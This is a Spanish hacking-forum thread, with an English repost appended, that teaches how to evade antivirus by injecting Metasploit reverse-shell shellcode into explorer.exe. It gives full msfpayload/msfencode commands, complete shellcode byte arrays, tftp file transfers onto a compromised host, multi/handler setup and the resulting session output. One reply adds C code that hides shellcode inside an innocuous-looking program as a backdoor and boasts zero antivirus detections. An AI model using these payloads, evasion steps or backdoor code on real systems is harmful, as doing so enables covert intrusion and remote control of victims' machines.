Bueno gente en hoy les voy a mostrar como bypassear el antivirus inyectando meterpreter directamente en otro proceso, logrando que este corra en el su mismo contexto, por medio de Injector una mini tool hecha por Amit Malik, el autor de este articulo es rus0pr0.


El escenario es el siguiente, tenemos shell sea php o clásica(esta voy a usar yo) en nuestro remoto, queremos subir meterpreter para poder aprovechar todo lo que nos brinda para la postexplotación pero cuando lo subimos el antivirus lo detecta y lo borra, con la pequeña introducción vamos a lo bueno.


Nuestra shell:

Código: Seleccionar todo

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
 
C:\WINDOWS\system32>

ok lo que primero que vamos a hacer es crear el meterpreter que vamos a subir para inyectar, estos comando los tienen que ejecutar dentro del directorio de metasploit:

Código: Seleccionar todo

@Free-Box:/opt/MSF/trunk$ [b]sudo ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 R|./msfencode -c 4 -e x86/shikata_ga_nai -o /tmp/meter.exe -t exe[/b]
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
 
[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
 
[*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
 
[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)

Ok que hice con este comando, generé un meterpreter y como tipo de salida de la instrucción msfpayload le dije RAW, a esa salida estandar la redirijí con un pipe al msfencode y lo encripté 4 veces con shikata_ga_nai y el formato de salida en perl.

Vamos a /tmp y nos fijamos si está:

Código: Seleccionar todo

@Free-Box:/opt/MSF/trunk$[b] cd /tmp[/b]
@Free-Box:/tmp$ [b]ls|grep meter[/b]
meter
@Free-Box:/tmp$ [b]cat meter[/b]
buf = 
"\x29\xc9\xbd\x63\x4e\x7c\x5e\xb1\x5e\xd9\xf7\xd9\x74\x24" +
"\xf4\x58\x31\x68\x0e\x03\x68\x0e\x83\xa3\x4a\x9e\xab\x9b" +
"\x39\xce\x70\xf5\x67\x37\x53\xc0\x41\xbc\x80\x26\x2a\x8c" +
"\x9e\xf7\x8e\xfd\xa3\x1c\xec\x01\xe7\x87\x7f\xd7\x71\x5f" +
"\x4b\x13\x6d\x5c\xae\x56\x99\x08\xbe\x6f\xfa\xf1\x81\x63" +
"\xaf\x71\x2a\x56\x8f\xff\x05\xdd\x64\x02\x3d\x0b\x12\x38" +
"\xae\x18\xef\x06\x6d\xff\x98\x1c\x82\x04\x68\x96\x9d\xb5" +
"\x80\x25\xd6\x17\x91\xd4\xdf\xe9\x82\x4f\xf1\xa0\x7a\x64" +
"\x44\x26\x18\x80\xe8\x00\x41\xaa\xc3\xf5\x0e\xbc\x7f\x0f" +
"\x30\xd6\x93\x91\x29\xd4\x13\xc8\x93\x5c\x0c\x2d\x28\x08" +
"\xca\x28\x1e\x1a\x39\x8f\xe4\xd9\xd1\xa6\x52\xeb\x00\x63" +
"\x67\x3f\x59\x57\x97\xd3\xb1\x13\x14\x53\x08\xcb\x24\x5a" +
"\xc8\xc0\xe4\xb8\x1b\x6f\x5b\xdd\xe1\x7b\xa8\x09\xdb\x06" +
"\x31\x24\xd0\xbf\x2f\x25\xf2\x4c\x49\xb4\x8b\x0a\x00\xc4" +
"\xcd\x74\x38\xbd\x14\x8c\xb4\xed\xcf\x2f\xb8\x01\x16\x31" +
"\xf1\xd0\x90\xd8\xfd\x33\x6a\xbf\xea\xaa\x46\xdd\x12\xa5" +
"\x13\x3b\x49\x53\x48\x2a\x28\x6b\x0b\x3b\x57\x7e\x84\x13" +
"\xf8\x7e\xd6\xcb\x83\x71\x4f\x55\xe8\x22\xb6\x07\x22\x9f" +
"\x8d\xc3\x5e\xd8\x6b\x89\x0e\x12\xe4\xc4\x6e\x8c\x32\x76" +
"\x24\x64\xd3\x5c\xbf\xd0\xbc\xab\x3c\x9b\xa2\xb9\xf9\xd8" +
"\x6d\x5e\x72\x94\x10\xa9\x58\xfe\xc0\x45\xb9\x53\x99\xa2" +
"\xff\x8c\x24\xf8\xc4\xab\x53\x96\x5b\xad\xf2\x29\xdd\x1e" +
"\x8f\x73\xad\x66\x84\x84\xb1\xd3\xc9\xe0\xba\x40\x6f\xa5" +
"\x17\xda\x1f\xa4\x35\x95\x46\x96\xf6\x9c\xfe\x92\xc0\xcc" +
"\xab\x42\x56\x8a\x1c\x79\x4e\xc3\x41\xf8\x83\xc8\x3a\x33" +
"\x42\x7d\xa9\xa8\xa2\xfd\x28\x8d\xd6\x9f\x41\x90\x33\x0c" +
"\xf6\xc2\x18\x23\x6f\x40\x48\xd6\x30\x30\x47\xc4\x8f\xb5" +
"\x22\xe0\x36\x98\xb0\xe5\xbc\x12\x2e\x3f\xf6\x5f\xc2\x49" +
"\x62\x2d\x52\xef\xaa\x84\x88"

Y ahí esta nuestro meterpreter, y ustedes dirán para que lo quiero así, no se apuren ahora viene esa parte.

Ok porqué lo necesito así porque para poder subirlo y que no lo detecte para nada vamos a convertir el shellcode a alfanumérico, que pasa si lo subimos directamente:


Imagen



ok, para convertir nuestra shell usamos un script en python que nos provee el autor(al final el link de desacarga de todo) al cual le agregamos nuestra shell.
Código

Código: Seleccionar todo

#!/usr/bin/python
#generic payload builder for injector
#Plz first test the payloads on your system.. otherwise you know you can't blame anyone :)  
 
shellcode=("\x29\xc9\xbd\x63\x4e\x7c\x5e\xb1\x5e\xd9\xf7\xd9\x74\x24\xf4\x58\x31\x68\x0e\x03\x68\x0e\x83\xa3\x4a\x9e\xab\x9b\x39\xce\x70\xf5\x67\x37\x53\xc0\x41\xbc\x80\x26\x2a\x8c\x9e\xf7\x8e\xfd\xa3\x1c\xec\x01\xe7\x87\x7f\xd7\x71\x5f\x4b\x13\x6d\x5c\xae\x56\x99\x08\xbe\x6f\xfa\xf1\x81\x63\xaf\x71\x2a\x56\x8f\xff\x05\xdd\x64\x02\x3d\x0b\x12\x38\xae\x18\xef\x06\x6d\xff\x98\x1c\x82\x04\x68\x96\x9d\xb5\x80\x25\xd6\x17\x91\xd4\xdf\xe9\x82\x4f\xf1\xa0\x7a\x64\x44\x26\x18\x80\xe8\x00\x41\xaa\xc3\xf5\x0e\xbc\x7f\x0f\x30\xd6\x93\x91\x29\xd4\x13\xc8\x93\x5c\x0c\x2d\x28\x08\xca\x28\x1e\x1a\x39\x8f\xe4\xd9\xd1\xa6\x52\xeb\x00\x63\x67\x3f\x59\x57\x97\xd3\xb1\x13\x14\x53\x08\xcb\x24\x5a\xc8\xc0\xe4\xb8\x1b\x6f\x5b\xdd\xe1\x7b\xa8\x09\xdb\x06\x31\x24\xd0\xbf\x2f\x25\xf2\x4c\x49\xb4\x8b\x0a\x00\xc4\xcd\x74\x38\xbd\x14\x8c\xb4\xed\xcf\x2f\xb8\x01\x16\x31\xf1\xd0\x90\xd8\xfd\x33\x6a\xbf\xea\xaa\x46\xdd\x12\xa5\x13\x3b\x49\x53\x48\x2a\x28\x6b\x0b\x3b\x57\x7e\x84\x13\xf8\x7e\xd6\xcb\x83\x71\x4f\x55\xe8\x22\xb6\x07\x22\x9f\x8d\xc3\x5e\xd8\x6b\x89\x0e\x12\xe4\xc4\x6e\x8c\x32\x76\x24\x64\xd3\x5c\xbf\xd0\xbc\xab\x3c\x9b\xa2\xb9\xf9\xd8\x6d\x5e\x72\x94\x10\xa9\x58\xfe\xc0\x45\xb9\x53\x99\xa2\xff\x8c\x24\xf8\xc4\xab\x53\x96\x5b\xad\xf2\x29\xdd\x1e\x8f\x73\xad\x66\x84\x84\xb1\xd3\xc9\xe0\xba\x40\x6f\xa5\x17\xda\x1f\xa4\x35\x95\x46\x96\xf6\x9c\xfe\x92\xc0\xcc\xab\x42\x56\x8a\x1c\x79\x4e\xc3\x41\xf8\x83\xc8\x3a\x33\x42\x7d\xa9\xa8\xa2\xfd\x28\x8d\xd6\x9f\x41\x90\x33\x0c\xf6\xc2\x18\x23\x6f\x40\x48\xd6\x30\x30\x47\xc4\x8f\xb5\x22\xe0\x36\x98\xb0\xe5\xbc\x12\x2e\x3f\xf6\x5f\xc2\x49\x62\x2d\x52\xef\xaa\x84\x88")
 
buffer=shellcode
 
file=open("pgeneric.txt","w")
 
file.write(buffer)

Y lo ejecutamos:

Código: Seleccionar todo

Free-Box:/tmp$ python generic.py 

Nuestra shell se pasa a llamar pgeneric.txt y si la abren van a ver todo alfanumérico.
Ok ya tenemos nuestra shell vamos a subirla, en mi caso supongamos que estamos en un backtrack, ási que subimos el TFPT server y le damos el siguiente comando a la shell que tenemos abierta:

Código: Seleccionar todo

C:\WINDOWS\system32> tftp -i 192.168.1.101 GET pgeneric.txt

Para que vean que el antivirus está actualizado:


Imagen




La escaneo con el antivirus y:


Imagen



Ok ya tenemos nuestra shell, ahora subimos el Injector.

Código: Seleccionar todo

C:\WINDOWS\system32> tftp -i 192.168.1.101 GET injector.exe
Lo escaneamos y:


Imagen



Imagen




bueno nada es detectado así que seteamos un handler de metasploit para que reciba nuestro reverse meterpreter.

Código: Seleccionar todo

msf > [b]use multi/handler[/b]
msf exploit(handler) > [b]set payload windows/meterpreter/reverse_tcp[/b]
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > [b]show options
[/b]
Module options:
 
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
 
 
Payload options (windows/meterpreter/reverse_tcp):
 
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, none, process
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   Wildcard Target
 
 
msf exploit(handler) > [b]set lhost 192.168.1.101[/b]
lhost => 192.168.1.101
msf exploit(handler) > [b]exploit [/b]               
 
[*] Started reverse handler on 192.168.1.101:4444 
[*] Starting the payload handler...

Hacemos un tasklist para buscar un pid de proceso, en este caso yo voy a usar el explorer que es el 180 y ejecutamos lo siguiente

Código: Seleccionar todo

C:\WINDOWS\system32> cd..
C:\WINDOWS> cd ..
C:\> cd Documents and Settings
C:\Documents and Settings> cd Administrator
C:\Documents and Settings\Administrator>cd Desktop
C:\Documents and Settings\Administrator\Desktop>injector pgeneric.txt 180
[*] Author: DouBle_Zer0
[*] HACKERS GARAGE Production
[*] Visit Us: http://www.garage4hackers.com
 
C:\Documents and Settings\Administrator\Desktop>

y del lado del handler tenemos..

Código: Seleccionar todo

msf exploit(handler) > exploit                
 
[*] Started reverse handler on 192.168.1.101:4444 
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to 192.168.1.106
[*] Meterpreter session 4 opened (192.168.1.101:4444 -> 192.168.1.106:1065) at Fri Dec 24 10:12:21 -0300 2010
 
meterpreter > pwd
C:\Documents and Settings\Administrator
meterpreter > getuid
Server username: XP_FDCC\Renamed_Admin
y el antivirus ni enterado de nada.

Descarga: [Enlace externo eliminado para invitados]


Muchas Gracias por la información.....

Vamos a leerlo con calma,y probarlo haber...
Blog técnico dedicado a la seguridad informática y al estudio de nuevas vulnerabilidades.
Blog: http://www.seginformatica.net
Twitter: https://twitter.com/#!/p0is0nseginf
Que buena info Skillmax ya le voy a hechar un ojo con mas detenimiento lo merece gracias por traernoslo bro
Imagen

(cuanto más sabes, más cuenta te das de lo poco que sabes).

Mostrar/Ocultar

que bueno! gracias Skill por postearlo... vamos a ponerlo en practica jeje

saludos!!
Soy un camaleón, en tu cama, leona ♪
Muchisimas gracias Skillmax se agradece tu aporte
Habra que leerlo con calma , ya que no entendi algunas cosas!
saludos
Imagen

♪♪ 2pac & Notorius B.I.G ♪♪
¿Por qué estoy luchando para vivir cuando estoy solo viven para luchar,
¿Por qué estoy tratando de ver cuando no hay nada a la vista,
¿Por qué estoy tratando de dar cuando nadie me da una oportunidad,
¿Por qué estoy muriendo para vivir cuando yo estoy viviendo para morir.♪♪
Lindo e ingenioso pero no creo que esto sea un bypass solo codificas las shell con shikata_ga_nai eso es lo que hace indetectable el meterpreter lo ingenioso es lo del script en python le hare un estudio a fondo y luego te lo paso si te interesa skil graze por el tiempo hermano!
1337 & culture!
juasjuas escribió:Es tuyo el tutorial?????

O lo has cogido por ahi y estás haciendo pasar por tuyo??
Un saludo

Imagen



Es cuestión de mirar un poco.. ¿No crees?


Alomejor de donde la saco el fue de shell root, si shell root la rippero es otra cosa en fin ...
1337 & culture!
la forma como el esta usando el metodo es como si tubiera acceso al equipo como tan, un caso real seria que el "atacante" generara un ejecutable que tenga una funcion que llame a la shellcode metodo que se utilizaria para backdorear un programa por ejemplo

tenemos un programa que imprime un hola mundo

Código: Seleccionar todo

#include <stdio.h>
int main()
{
	printf("hola mundo");
	return 0;
}
a los ojos de un buen "hacker" o marica que quiere hacer el mal le prodiamos inyectar un backdoor con una shellcode,
lo de shells alfanumericas es marica solamente le mete un encoder una y otra y otra y otra vez, mi ejemplo seria este genero un payload y le meto un encoder para burlar el av y genero una funcion que llame esa shellcode h4x0r no

Código: Seleccionar todo

#include <stdio.h>

#shellcode sacada de un exploit me dio paja generar una para mi xD
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=Pex http://metasploit.com

static char shellcode[]="\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xaf"
"\x4f\xb9\xec\x83\xee\xfc\xe2\xf4\x53\xa7\xfd\xec\xaf\x4f\x32\xa9"
"\x93\xc4\xc5\xe9\xd7\x4e\x56\x67\xe0\x57\x32\xb3\x8f\x4e\x52\xa5"
"\x24\x7b\x32\xed\x41\x7e\x79\x75\x03\xcb\x79\x98\xa8\x8e\x73\xe1"
"\xae\x8d\x52\x18\x94\x1b\x9d\xe8\xda\xaa\x32\xb3\x8b\x4e\x52\x8a"
"\x24\x43\xf2\x67\xf0\x53\xb8\x07\x24\x53\x32\xed\x44\xc6\xe5\xc8"
"\xab\x8c\x88\x2c\xcb\xc4\xf9\xdc\x2a\x8f\xc1\xe0\x24\x0f\xb5\x67"
"\xdf\x53\x14\x67\xc7\x47\x52\xe5\x24\xcf\x09\xec\xaf\x4f\x32\x84"
"\x93\x10\x88\x1a\xcf\x19\x30\x14\x2c\x8f\xc2\xbc\xc7\xbf\x33\xe8"
"\xf0\x27\x21\x12\x25\x41\xee\x13\x48\x2c\xd8\x80\xcc\x4f\xb9\xec";

int main()
{
        void (* backdoor)()=(void *)shellcode;
	printf("hola mundo");
        backdoor();
	return 0;
}
y vemos el resultado

resultado
File Info

Report date: 2011-01-01 20:47:01 (GMT 1)
File name: expl-exe
File size: 7324 bytes
MD5 Hash: d018b541328437428a7c07cdb0acbfd4
SHA1 Hash: 6b59c965c6715baca9e950284cd8f0ec264c7753
Detection rate: 0 on 16 (0%)
Status: CLEAN

Detections

a-squared -
Avast -
AVG -
Avira AntiVir -
BitDefender -
ClamAV -
Comodo -
Dr.Web -
F-PROT6 -
Ikarus T3 -
Kaspersky -
NOD32 -
Panda -
TrendMicro -
VBA32 -
VirusBuster -

Scan report generated by
[Enlace externo eliminado para invitados]


la ventaja de este "mi metodo por asi llamarlo" puede distraer al usuario pensando que el programa funciona normal y bajo cuerda le estan metiendo el dedo en el culo

saludos y no hagan cosas malas con esto
Imagen
en el msn ♣Conejo escribió:[26/03/11 10:39:13] Su firma contiene 281 caracteres. El máximo número de caracteres permitidos es 200.
menos mal que soy admin
Este post es inservible ya que dice como hackear cuando ya está hackeado no te jode si
tengo una sesión entonces ya es mío y no hay mas que hablar ,lo que hace falta es
INDETECTAR LA PAYLOAD que a ver quien sabe como en ruby ,osea metasploit
RapidShare.de will permanently shut down the servers on 1. March 2010! nein ..
PD:Policia española psicópata
∩____∩
| (• ◡•)|
valium7 escribió:Este post es inservible ya que dice como hackear cuando ya está hackeado no te jode si
tengo una sesión entonces ya es mío y no hay mas que hablar ,lo que hace falta es
INDETECTAR LA PAYLOAD que a ver quien sabe como en ruby ,osea metasploit
me encantan estos tipos de post porque quieren argumentar algo sin una tesis, yo en mi post argumente te explico que quiere decir el post como tal. cuando generas un payload con una shellcode o la obtienes el binario o el codigo fuente de modo que no usas el metodo para usarlo en un exploit, lo usas de manera remota el problema que un shellcode ya es detectado, el metodo es ofuscar el codigo para que sea indetectable y hay usan el metodo, lo que te hara pensar para que mierda voy a usar un binario con una shellcode si existen rat's pues es la pregunta del millon muchos no usan troyanos pero si usan backdoors. son las cosas de la vida


saludos
Imagen
en el msn ♣Conejo escribió:[26/03/11 10:39:13] Su firma contiene 281 caracteres. El máximo número de caracteres permitidos es 200.
menos mal que soy admin
Frozen, los troyanos son unos mariquitas, ni Bifrost se salva, en cuanto les metes un poco de presión, no sé unos 948913284108 usuarios, ¡pum! desbordan, yo me quedo con netcat, se indetecta con solo mirarlo y si crashea, es que al tipo no le funciona ni el Paint.
No importa cuan rápida y avanzada sea la tecnología, la mente humana aún es el procesador más versátil y creativo que hay.
Un poco más explicado para curiosos. Buen post!
Bypassing AntiVirus With Process Injection
There is a new tool for anti virus bypass which allows an attacker to inject shellcode into a process Post exploitation. Enabling the attacker to pass a shell to a remote location, generally i assume this would be a meterpreter shell for obvious reasons. Those of us who penetration test for a living are aware of the need to sometimes have a shell after obtaining gui system access. Buuuut Antivirus can be a real pain in the ass sometimes.


A few people came to me today saying they tried this new technique and it looked awesome but was not functioning correctly, below is a description of why it was not working for them and how to fix it.. here is a link for the program as reference.

[Enlace externo eliminado para invitados]

Videos are cool and all but as we know they tend to leave things out, in this case they left out the proper way to create shellcode. They also left out how to create the file to inject into the process, so below is a walkthrough without missing any details of how to get a shell by injecting into a process with injector... Honestly, I wish people who developed tools would not leave out details in their videos. I also wish they would learn to talk and explain things as they create the video rather then having a distracting song..

Mainly I believe the issues people were having are of bad character sets within their shellcode. (Although I did not verify this in a debugger, the crash behavior leans towards this assumption)

When you inject a payload into a process if any characters are bad such as a Null characters the process will automatically terminate or create undesired results, it doesn't always have to be null and all processes and programs are created differently depending what they are looking for.Encoding is a good way to solve these issues. So lets get to it!!

Original Video: [Enlace externo eliminado para invitados]

Issues people had:
-Injecting into Explorer.exe crashes the process... (explorer being a good process because it re-spawns)

Resolution:
-Alpha upper encoding
-using the py file to create raw code


So basically the problem people were having is that there are bad characters in their shellcode that were crashing the process, following is a step by step on how to use the antivirus bypass technique that the video does not show clearly and in its entirety....


1. First Create your shell-code: (Alpha upper encode the shellcode, and add a thread exit function)


root@Ficti0n:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 EXITFUNC=thread R | ./msfencode -e x86/alpha_upper

[*] x86/alpha_upper succeeded with size 699 (iteration=1)
buf =
"\x89\xe6\xdb\xd8\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" +
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" +
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" +
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" +
..........
.................

The output from this will be very large but no worries size doesn't appear to be an issue....


2. Put this shell-code into the generic.py file like so (Remove all + signs and surround the output with parenthesis)


buffer=("\x89\xe6\xdb\xd8\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
............
................. )

file=open("pgeneric.txt","w")
file.write(buffer)



3. Startup your multi-handler and after you receive the payload you will get a shell... (go to step 4 below to send off your payload.)

msf > use multi/handler
msf exploit(handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf exploit(handler) > set LPORT 4444
LPORT => 4444

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.10:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.10:4444 -> 192.168.1.3:2438) at Tue Aug 17 20:30:20 -0400 2010

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator> YAY FOR SHELL



4. Check your process list for Explorer.exe then ship off your payload into the process, this payload is now encoded to remove all bad characters and with your multi/handler running you should receive a shell no problem.


C:\Documents and Settings\Administrator\Desktop\injector>tasklist

Image Name PID Session Name Session# Mem Usage
========================= ====== ================ ======== ============
System Idle Process 0 Console 0 28 K
System 4 Console 0 244 K
smss.exe 620 Console 0 388 K
csrss.exe 668 Console 0 1,660 K
winlogon.exe 692 Console 0 5,152 K
services.exe 736 Console 0 4,312 K
lsass.exe 748 Console 0 1,544 K
vmacthlp.exe 904 Console 0 2,292 K
svchost.exe 920 Console 0 4,548 K
svchost.exe 1000 Console 0 4,012 K
svchost.exe 1092 Console 0 21,824 K
svchost.exe 1136 Console 0 3,060 K
svchost.exe 1212 Console 0 4,584 K
spoolsv.exe 1416 Console 0 5,476 K
sqlservr.exe 1800 Console 0 8,684 K
sqlwriter.exe 1948 Console 0 3,268 K
notepad++.exe 2104 Console 0 3,072 K
notepad.exe 3612 Console 0 3,388 K
explorer.exe 1568 Console 0 22,064 K
tasklist.exe 1900 Console 0 4,244 K
wmiprvse.exe 2708 Console 0 5,404 K

C:\Documents and Settings\Administrator\Desktop\injector>injector.exe pgeneric.txt 1568

[*] Author: DouBle_Zer0
[*] HACKERS GARAGE Production
[*] Visit Us: [Enlace externo eliminado para invitados]


C:\Documents and Settings\Administrator\Desktop\injector> Your payload was just sent!! check your meterpreter


I hope that clears a few things up for anyone who was asking me how to utilize this tool on a pentest, this is an excellent technique and very neat but explanation of proper payloads and examples were lacking, I would have much preferred a written write up with more detail for reference so that is what i am providing..

Final Note:
Also one final note, you will notice i used the "explorer.exe" process, the reason I used explorer.exe because if I blow it up, it will respawn itself. Also a good technique when migrating processes in Meterpreter, if explorer.exe Fubars, you can just kill the process and it will respawn. I have used this technique on processes running as a domain administrator to get full domain access. However when I blew up the process I lost access but was able to just respawn it and regain my foothold when no hashes or tokens were available.
Fuente: [Enlace externo eliminado para invitados]
Responder

Volver a “Exploits”